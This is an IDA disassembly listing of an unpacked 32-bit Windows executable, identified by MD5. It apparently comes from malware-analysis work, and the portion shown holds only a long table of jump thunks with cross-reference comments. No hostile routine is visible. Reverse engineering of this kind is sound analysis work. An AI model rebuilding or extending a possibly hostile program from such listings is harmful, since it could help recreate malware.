;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	AF0611C37F3F0EDD61C825EC61339F60

; File Name   :	u:\work\af0611c37f3f0edd61c825ec61339f60_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00112000 (1122304.)
; Section size in file		: 00112000 (1122304.)
; Offset to raw	data for section: 00001000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
___		segment	para public 'CODE' use32
		assume cs:___
		;org 401000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
		db 5 dup(0CCh)
; ---------------------------------------------------------------------------
		jmp	loc_430920
; ---------------------------------------------------------------------------


loc_40100A:				; DATA XREF: ___:off_43F08Co
		jmp	loc_412D70

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40100F	proc near		; CODE XREF: sub_421BF0+29p
		jmp	sub_422150
sub_40100F	endp

; ---------------------------------------------------------------------------
		jmp	loc_432540
; ---------------------------------------------------------------------------
		jmp	loc_420DA0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40101E	proc near		; CODE XREF: ___:00412AA3p
		jmp	sub_412AD0
sub_40101E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401023	proc near		; CODE XREF: ___:0040B28Dp
					; ___:0040B29Ap ...
		jmp	sub_406B80
sub_401023	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401028	proc near		; CODE XREF: sub_41FA90+34p
		jmp	sub_40B0D0
sub_401028	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40102D	proc near		; CODE XREF: sub_404C30+616p
					; sub_404C30+6D5p ...
		jmp	sub_40A100
sub_40102D	endp

; ---------------------------------------------------------------------------
		jmp	sub_42B3F0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401037	proc near		; CODE XREF: sub_4135D0+3Bp
					; ___:00414BF0p
		jmp	sub_4156C0
sub_401037	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40103C	proc near		; CODE XREF: sub_430B30+6Ep
					; sub_430B30+8Ap ...
		jmp	sub_4342D0
sub_40103C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401041	proc near		; CODE XREF: ___:00430212p
					; sub_430B30+3Fp ...
		jmp	sub_434150
sub_401041	endp

; ---------------------------------------------------------------------------
		jmp	loc_423A40

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40104B	proc near
		jmp	sub_40D200
sub_40104B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401050	proc near		; CODE XREF: sub_40B0D0+3Ap
					; sub_40B140+1Ap
		jmp	sub_433C70
sub_401050	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401055	proc near		; CODE XREF: sub_41E660+37Bp
		jmp	sub_421D30
sub_401055	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40105A	proc near		; CODE XREF: sub_40C190+8p
		jmp	sub_40C350
sub_40105A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40105F	proc near		; CODE XREF: sub_432BF0+5Ap
					; sub_434A00+50p
		jmp	sub_432BB0
sub_40105F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401064	proc near		; DATA XREF: ___:off_43F054o
		jmp	sub_41C710
sub_401064	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401069	proc near		; CODE XREF: ___:00416E6Ap
		jmp	sub_41FBD0
sub_401069	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40106E	proc near		; CODE XREF: sub_40C030+32p
		jmp	sub_40C1F0
sub_40106E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401073	proc near		; CODE XREF: ___:00416E7Ap
		jmp	sub_418250
sub_401073	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401078	proc near		; CODE XREF: sub_415910+6Ap
					; sub_416370+32p
		jmp	sub_4162B0
sub_401078	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40107D	proc near		; CODE XREF: sub_41E660+161p
					; sub_4224E0+3p
		jmp	sub_421B50
sub_40107D	endp

; ---------------------------------------------------------------------------
		jmp	loc_41ADB0
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_7. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40108C	proc near		; CODE XREF: sub_421D30+3p
					; ___:004220FFp ...
		jmp	sub_422270
sub_40108C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401091	proc near		; CODE XREF: sub_40C4D0+43p
		jmp	sub_40CBA0
sub_401091	endp

; ---------------------------------------------------------------------------
		jmp	sub_429120

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40109B	proc near		; CODE XREF: sub_4075C0+Ap
		jmp	sub_407660
sub_40109B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010A0	proc near		; CODE XREF: sub_4246D0+23p
					; sub_424870+6p ...
		jmp	sub_4245E0
sub_4010A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010A5	proc near		; CODE XREF: sub_431EF0+F5p
					; sub_431EF0+14Fp
		jmp	sub_4340E0
sub_4010A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010AA	proc near		; CODE XREF: sub_4344C0+C8p
		jmp	sub_431C80
sub_4010AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010AF	proc near		; DATA XREF: ___:0043F174o
		jmp	sub_42B0B0
sub_4010AF	endp

; ---------------------------------------------------------------------------


loc_4010B4:				; DATA XREF: ___:off_43F090o
		jmp	loc_41E2C0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010B9	proc near		; CODE XREF: sub_4182F0+D0p
					; sub_418450+2Dp
		jmp	sub_4189E0
sub_4010B9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010BE	proc near		; CODE XREF: sub_40FE30+8D9p
					; sub_40FE30+990p ...
		jmp	sub_412A20
sub_4010BE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010C3	proc near		; CODE XREF: ___:00430626p
					; ___:00430694p ...
		jmp	sub_4321F0
sub_4010C3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010C8	proc near		; CODE XREF: sub_421E50+9p
					; sub_422340+18p
		jmp	sub_4224C0
sub_4010C8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010CD	proc near		; CODE XREF: sub_40AAC0+58p
					; sub_40AAC0+82p ...
		jmp	sub_40ACB0
sub_4010CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010D2	proc near		; CODE XREF: sub_422B40+3F1p
					; ___:00423BA6p ...
		jmp	sub_419BE0
sub_4010D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4010D7	proc near		; CODE XREF: sub_416100+7p
		jmp	sub_416730
sub_4010D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010DC	proc near		; CODE XREF: sub_4155F0+5Bp
					; sub_415F60+11p ...
		jmp	sub_4161B0
sub_4010DC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010E1	proc near		; CODE XREF: sub_42AE10+58p
		jmp	sub_42AC80
sub_4010E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4010E6	proc near		; CODE XREF: sub_421970+1Fp
		jmp	sub_421DB0
sub_4010E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010EB	proc near		; CODE XREF: sub_4220B0+11p
					; ___:004220D7p ...
		jmp	sub_4225D0
sub_4010EB	endp

; ---------------------------------------------------------------------------
		jmp	loc_413E20

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010F5	proc near		; CODE XREF: sub_421B30+3p
					; ___:00421E9Fp ...
		jmp	sub_422010
sub_4010F5	endp

; ---------------------------------------------------------------------------
		jmp	loc_4144C0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010FF	proc near		; CODE XREF: sub_428210+3p
		jmp	sub_428240
sub_4010FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401104	proc near		; CODE XREF: sub_415AF0+11p
					; ___:00415B17p ...
		jmp	sub_416560
sub_401104	endp

; ---------------------------------------------------------------------------
		jmp	loc_434600

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40110E	proc near		; CODE XREF: sub_421C60+5p
					; sub_421D50+6p ...
		jmp	sub_422250
sub_40110E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401113	proc near		; CODE XREF: ___:00416B4Bp
					; ___:0043B25Ej ...
		jmp	sub_417A20
sub_401113	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401118	proc near		; CODE XREF: sub_404C30+6Ap
					; sub_404C30+1AFp ...
		jmp	sub_412590
sub_401118	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40111D	proc near		; DATA XREF: ___:off_43F0ACo
		jmp	sub_419300
sub_40111D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401122	proc near		; CODE XREF: sub_432D10+6p
					; ___:00432D23p ...
		jmp	sub_430770
sub_401122	endp

; ---------------------------------------------------------------------------
		jmp	loc_42F6C0
; ---------------------------------------------------------------------------


loc_40112C:				; DATA XREF: ___:off_43F15Co
		jmp	loc_42AF80

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401131	proc near		; CODE XREF: ___:00423D9Dp
		jmp	sub_423860
sub_401131	endp

; ---------------------------------------------------------------------------
		jmp	loc_433240

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40113B	proc near		; CODE XREF: ___:00415168p
		jmp	sub_415A80
sub_40113B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401140	proc near		; CODE XREF: sub_41BA50+F7p
					; sub_41BA50+10Bp ...
		jmp	sub_409F70
sub_401140	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401145	proc near		; CODE XREF: sub_4099E0+Ap
		jmp	sub_409AD0
sub_401145	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40114A	proc near		; CODE XREF: sub_413490+55p
					; sub_413490+94p ...
		jmp	sub_415850
sub_40114A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40114F	proc near		; CODE XREF: sub_425100+18Cp
					; ___:00425F7Dp
		jmp	sub_4236F0
sub_40114F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401154	proc near		; CODE XREF: ___:00414C7Ep
		jmp	sub_4155F0
sub_401154	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401159	proc near		; CODE XREF: sub_4288F0+3p
		jmp	sub_428920
sub_401159	endp

; ---------------------------------------------------------------------------


loc_40115E:				; DATA XREF: ___:off_43F038o
		jmp	loc_412AA0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401163	proc near		; CODE XREF: sub_415EC0+11p
					; ___:00415EE7p ...
		jmp	sub_4166E0
sub_401163	endp

; ---------------------------------------------------------------------------
		jmp	loc_421870

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40116D	proc near		; CODE XREF: sub_418C00+23p
					; sub_418E70+11p
		jmp	sub_418F50
sub_40116D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401172	proc near		; CODE XREF: sub_418A50+3p
					; sub_418F80+54p ...
		jmp	sub_418DD0
sub_401172	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401177	proc near		; CODE XREF: sub_4096D0+6Ap
					; sub_4096D0+103p
		jmp	sub_409970
sub_401177	endp

; ---------------------------------------------------------------------------
		jmp	loc_433B30

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401181	proc near		; CODE XREF: ___:00413E3Dp
		jmp	sub_413C30
sub_401181	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401186	proc near		; CODE XREF: ___:0041A2E4p
		jmp	sub_41B0B0
sub_401186	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40118B	proc near		; CODE XREF: sub_413490+88p
					; sub_414890+BFp ...
		jmp	sub_415A20
sub_40118B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401190	proc near		; CODE XREF: sub_430770+7p
					; sub_4307E0+19p ...
		jmp	sub_434BA0
sub_401190	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401195	proc near
		jmp	sub_40DBE0
sub_401195	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40119A	proc near		; CODE XREF: ___:0043239Ap
		jmp	sub_431D40
sub_40119A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40119F	proc near		; CODE XREF: sub_407230+11p
					; sub_4073C0+1Fp
		jmp	sub_407460
sub_40119F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011A4	proc near		; CODE XREF: sub_403700+3B5p
					; sub_403700+3C5p ...
		jmp	sub_403DC0
sub_4011A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011A9	proc near		; CODE XREF: sub_421D10+3p
		jmp	sub_422290
sub_4011A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011AE	proc near		; CODE XREF: sub_40C320+Ap
		jmp	sub_40C3E0
sub_4011AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011B3	proc near		; CODE XREF: sub_403700+1Dp
					; sub_407080+1Fp ...
		jmp	sub_403C30
sub_4011B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4011B8	proc near		; CODE XREF: ___:00413334p
					; ___:0043AC8Cj ...
		jmp	sub_415480
sub_4011B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011BD	proc near		; CODE XREF: sub_42C640+3p
		jmp	sub_42C670
sub_4011BD	endp

; ---------------------------------------------------------------------------
		jmp	loc_40AFD0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4011C7	proc near		; CODE XREF: ___:00414C8Dp
		jmp	sub_414D30
sub_4011C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011CC	proc near		; CODE XREF: sub_407660+7p
					; sub_409AD0+7p ...
		jmp	sub_407690
sub_4011CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011D1	proc near		; CODE XREF: sub_4135D0+73p
					; ___:00414C2Dp ...
		jmp	sub_4156E0
sub_4011D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011D6	proc near		; CODE XREF: sub_41E660+58p
		jmp	sub_420530
sub_4011D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011DB	proc near		; CODE XREF: sub_413E60+84p
		jmp	sub_4138A0
sub_4011DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011E0	proc near		; CODE XREF: ___:00433718p
		jmp	sub_431060
sub_4011E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011E5	proc near		; CODE XREF: sub_407510+8p
		jmp	sub_4075F0
sub_4011E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011EA	proc near		; CODE XREF: sub_404C30+9Fp
					; sub_404C30+230p ...
		jmp	sub_40A500
sub_4011EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4011EF	proc near		; CODE XREF: sub_40A860+21p
					; sub_40AAC0+A5p
		jmp	sub_40AAA0
sub_4011EF	endp

; ---------------------------------------------------------------------------
		jmp	loc_40B040

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011F9	proc near		; CODE XREF: sub_40A500+129p
					; sub_40A8E0+4p ...
		jmp	sub_40A8B0
sub_4011F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011FE	proc near		; DATA XREF: ___:off_43F0DCo
		jmp	sub_4277B0
sub_4011FE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401203	proc near		; CODE XREF: ___:004335ADp
		jmp	sub_430D60
sub_401203	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401208	proc near		; CODE XREF: sub_407340+3p
					; ___:0040740Fp ...
		jmp	sub_4074D0
sub_401208	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40120D	proc near		; CODE XREF: sub_41D830+346p
					; sub_41D830+410p ...
		jmp	sub_421970
sub_40120D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401212	proc near		; CODE XREF: sub_421BB0+11p
					; sub_4220B0+1Fp
		jmp	sub_4221E0
sub_401212	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401217	proc near		; CODE XREF: sub_42C7E0+3p
		jmp	sub_42C810
sub_401217	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40121C	proc near
		jmp	sub_4077E0
sub_40121C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401221	proc near		; CODE XREF: sub_40C1F0+5Fp
		jmp	sub_40C3C0
sub_401221	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401226	proc near		; CODE XREF: sub_403530+F6p
					; sub_403530+12Ep ...
		jmp	sub_409D00
sub_401226	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40122B	proc near		; CODE XREF: sub_41E660+113p
					; sub_41E660+124p
		jmp	sub_421B30
sub_40122B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401230	proc near		; DATA XREF: ___:0043F06Co
		jmp	sub_41F860
sub_401230	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401235	proc near		; CODE XREF: ___:00416BEBp
					; ___:0043B1D2j ...
		jmp	sub_417670
sub_401235	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40123A	proc near		; CODE XREF: sub_40AF90+Fp
		jmp	sub_431240
sub_40123A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40123F	proc near		; CODE XREF: sub_418C00+32p
		jmp	sub_418E70
sub_40123F	endp

; ---------------------------------------------------------------------------
		jmp	loc_434860

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401249	proc near		; CODE XREF: sub_4154F0+5p
					; sub_415700+6p ...
		jmp	sub_416120
sub_401249	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40124E	proc near		; CODE XREF: sub_40BD80+29p
					; sub_40BEA0+29p
		jmp	sub_40C030
sub_40124E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401253	proc near		; CODE XREF: sub_41E660+3E9p
					; ___:0043C45Bj
		jmp	sub_421BF0
sub_401253	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401258	proc near		; CODE XREF: sub_414590+BFp
		jmp	sub_4152D0
sub_401258	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40125D	proc near		; CODE XREF: sub_4165D0+Ap
		jmp	sub_416910
sub_40125D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401262	proc near		; CODE XREF: ___:00416C57p
					; ___:0043B173j ...
		jmp	sub_416F70
sub_401262	endp

; ---------------------------------------------------------------------------
		jmp	sub_418B00

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40126C	proc near
		jmp	sub_4182F0
sub_40126C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401271	proc near		; CODE XREF: ___:00416DDFp
		jmp	sub_417F90
sub_401271	endp

; ---------------------------------------------------------------------------
		jmp	loc_414750
; ---------------------------------------------------------------------------
		jmp	loc_430320

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401280	proc near		; CODE XREF: sub_40FE30+387p
					; sub_41EF30+21Dp ...
		jmp	sub_41B7E0
sub_401280	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401285	proc near		; CODE XREF: ___:00416E1Ap
		jmp	sub_418140
sub_401285	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40128A	proc near		; CODE XREF: sub_409560+8p
		jmp	sub_4095B0
sub_40128A	endp

; ---------------------------------------------------------------------------
		jmp	loc_42AF80

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401294	proc near		; CODE XREF: sub_4096D0+A5p
					; sub_4127E0+21p
		jmp	sub_4098E0
sub_401294	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401299	proc near		; CODE XREF: sub_404C30+382p
					; sub_41D830+5AAp
		jmp	sub_41C130
sub_401299	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40129E	proc near		; CODE XREF: ___:00416D2Fp
		jmp	sub_403700
sub_40129E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012A3	proc near		; CODE XREF: sub_418CB0+23p
					; sub_418F80+11p
		jmp	sub_4190D0
sub_4012A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012A8	proc near		; CODE XREF: sub_424920+Cp
					; sub_424920+3Ep ...
		jmp	sub_424410
sub_4012A8	endp

; ---------------------------------------------------------------------------
		jmp	loc_430960

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012B2	proc near		; CODE XREF: sub_404C30+85Ap
					; sub_404C30+AD6p ...
		jmp	sub_40A360
sub_4012B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012B7	proc near		; CODE XREF: ___:0042FE06p
					; ___:0042FE56p ...
		jmp	sub_432780
sub_4012B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012BC	proc near		; CODE XREF: sub_41E660+367p
					; sub_41E660+3D4p ...
		jmp	sub_421D80
sub_4012BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012C1	proc near		; DATA XREF: sub_427D50+107o
		jmp	sub_427FD0
sub_4012C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012C6	proc near		; CODE XREF: sub_424800+18p
					; sub_424840+Ap ...
		jmp	sub_4247B0
sub_4012C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012CB	proc near		; CODE XREF: sub_416210+9p
					; sub_4162B0+18p
		jmp	sub_4168C0
sub_4012CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012D0	proc near		; DATA XREF: sub_432570+32o
		jmp	sub_432D70
sub_4012D0	endp

; ---------------------------------------------------------------------------
		jmp	loc_42FE50
; ---------------------------------------------------------------------------
		jmp	loc_419CB0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012DF	proc near		; CODE XREF: sub_42AC80+67p
		jmp	sub_41FEF0
sub_4012DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4012E4	proc near		; CODE XREF: ___:004301E8p
					; sub_4303A0+2p ...
		jmp	sub_431560
sub_4012E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012E9	proc near		; CODE XREF: sub_413730+3Fp
					; sub_414590+40p ...
		jmp	sub_415220
sub_4012E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012EE	proc near		; CODE XREF: sub_404600+19Fp
					; sub_404600+212p ...
		jmp	sub_409FC0
sub_4012EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012F3	proc near		; CODE XREF: sub_424F70+B5p
					; sub_424F70+F1p
		jmp	sub_424F00
sub_4012F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012F8	proc near		; CODE XREF: sub_425100+130p
		jmp	sub_424F70
sub_4012F8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012FD	proc near		; CODE XREF: ___:00416DFAp
		jmp	sub_418040
sub_4012FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401302	proc near		; CODE XREF: ___:00416DCFp
		jmp	sub_417ED0
sub_401302	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401307	proc near		; CODE XREF: sub_4316C0+1p
		jmp	sub_431750
sub_401307	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40130C	proc near		; CODE XREF: ___:00427201p
		jmp	sub_427740
sub_40130C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401311	proc near		; CODE XREF: sub_4182F0+71p
					; sub_4182F0+BBp ...
		jmp	sub_4189B0
sub_401311	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401316	proc near		; CODE XREF: sub_40A170+7p
		jmp	sub_40A190
sub_401316	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40131B	proc near		; CODE XREF: ___:004329C8p
					; sub_432A20+2Bp
		jmp	sub_432BF0
sub_40131B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401320	proc near		; CODE XREF: sub_432570+1p
		jmp	sub_4327B0
sub_401320	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401325	proc near		; CODE XREF: sub_4207E0+37Bp
		jmp	sub_421CD0
sub_401325	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40132A	proc near		; CODE XREF: sub_414420+5Bp
		jmp	sub_4150F0
sub_40132A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40132F	proc near		; CODE XREF: sub_415480+29p
					; sub_4155A0+29p
		jmp	sub_416020
sub_40132F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401334	proc near		; CODE XREF: ___:00437232p
					; ___:00437242p ...
		jmp	sub_4370F0
sub_401334	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401339	proc near		; CODE XREF: sub_413490+5Fp
					; sub_413490+9Ep ...
		jmp	sub_415A50
sub_401339	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40133E	proc near		; CODE XREF: sub_40B5F0+62p
					; ___:0040BAB8p ...
		jmp	sub_40BF30
sub_40133E	endp

; ---------------------------------------------------------------------------
		jmp	loc_4313B0
; ---------------------------------------------------------------------------
		jmp	loc_42FF30
; ---------------------------------------------------------------------------


loc_40134D:				; DATA XREF: ___:0043F1A8o
		jmp	loc_42C690
; ---------------------------------------------------------------------------
		jmp	loc_42C5D0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401357	proc near		; CODE XREF: sub_416180+8p
		jmp	sub_4167A0
sub_401357	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40135C	proc near		; CODE XREF: sub_413490+71p
					; sub_413490:loc_41355Cp ...
		jmp	sub_415A00
sub_40135C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401361	proc near		; CODE XREF: sub_4182F0+AFp
					; sub_4190D0+3p
		jmp	sub_418A70
sub_401361	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401366	proc near		; DATA XREF: ___:0043F104o
		jmp	sub_427D50
sub_401366	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40136B	proc near		; CODE XREF: sub_40B5F0+39p
					; sub_40B5F0+78p ...
		jmp	sub_40BF60
sub_40136B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401370	proc near		; CODE XREF: sub_426A90+29p
					; sub_426A90+38p
		jmp	sub_4269A0
sub_401370	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401375	proc near		; CODE XREF: sub_41A600+1Cp
		jmp	sub_41A640
sub_401375	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40137A	proc near		; DATA XREF: ___:0043F164o
		jmp	sub_42AE10
sub_40137A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40137F	proc near		; CODE XREF: ___:00408C96p
					; ___:00414541p
		jmp	sub_4142F0
sub_40137F	endp


